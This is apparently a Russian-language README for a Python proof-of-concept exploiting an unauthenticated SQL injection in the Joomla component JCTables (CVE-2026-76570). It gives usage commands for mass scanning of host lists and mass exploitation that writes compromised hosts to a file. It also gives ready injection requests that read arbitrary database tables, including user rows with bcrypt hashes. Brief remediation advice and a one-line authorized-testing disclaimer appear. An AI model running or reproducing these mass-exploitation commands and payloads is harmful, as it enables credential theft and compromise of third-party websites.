CVE-2026-76570 — JCTables (com_jctables), неаутентифицированное чтение/запись через SQL

PoC на Python 3 для CVE-2026-76570 — Joomcode JCTables — неаутентифицированная SQL-инъекция во фронтенд-API JSON CRUD (getdatarow, getrow, …).

CVE.org	https://www.cve.org/CVERecord?id=CVE-2026-76570 (ОПУБЛИКОВАНО 2026-09-30)
NVD	https://nvd.nist.gov/vuln/detail/CVE-2026-76570
CNA	Joomla! Project
Компонент	com_jctables
Затронуто	1.0.0 – 1.20.0 (в лаборатории подтверждено ≤ 1.10.31.2)
Исправление	≥ 1.21.1 (2026-08-05)
CWE	CWE-89, CWE-862
CVSS 4.0	10.0 Critical — AT:N (без особой конфигурации администратора)
Анализ	VulnCheck — цепочка JCTables SQL R/W → RCE

Механизм (кратко)

Задачи фронтенд-контроллера не имеют токена / ACL. Имена таблиц и столбцов из запроса конкатенируются в SQL; ladb_escape() считает значения, обёрнутые в кавычки, «уже экранированными». getdatarow может читать произвольные таблицы БД (например, {prefix}users). Этот PoC доказывает чтение (строка с именем пользователя / bcrypt) — он не выполняет полную цепочку входа в админку / RCE через плагин.

Маркер успеха: POCBIT-76570-OK (в метаданных JSON-доказательства).

Требования

• Python 3.9+
• pip install requests urllib3 colorama

Использование

cd CVE-2026-76570
python poc.py                         # interactive
python poc.py hits.txt                # mass exploit → exploited.txt
python poc.py --check fofa_hosts.txt  # mass scan → hits.txt
python poc.py -u https://site.tld
python poc.py -u URL --prefix jos_    # if you know DB prefix
python poc.py --lab
python poc.py --help
python _engine.py --help

Поверхность API

Шаг	Запрос
Чтение строки	GET index.php?option=com_jctables&format=json&task=getdatarow&tn={prefix}users&idx=id&rid=1
Булева проверка	GET …&task=getrow&mid=N&tid=T&idx='' OR (1=1) OR ''

Устранение

Обновите JCTables до 1.21.1+ или удалите компонент.

Правовая информация

Только авторизованное тестирование безопасности.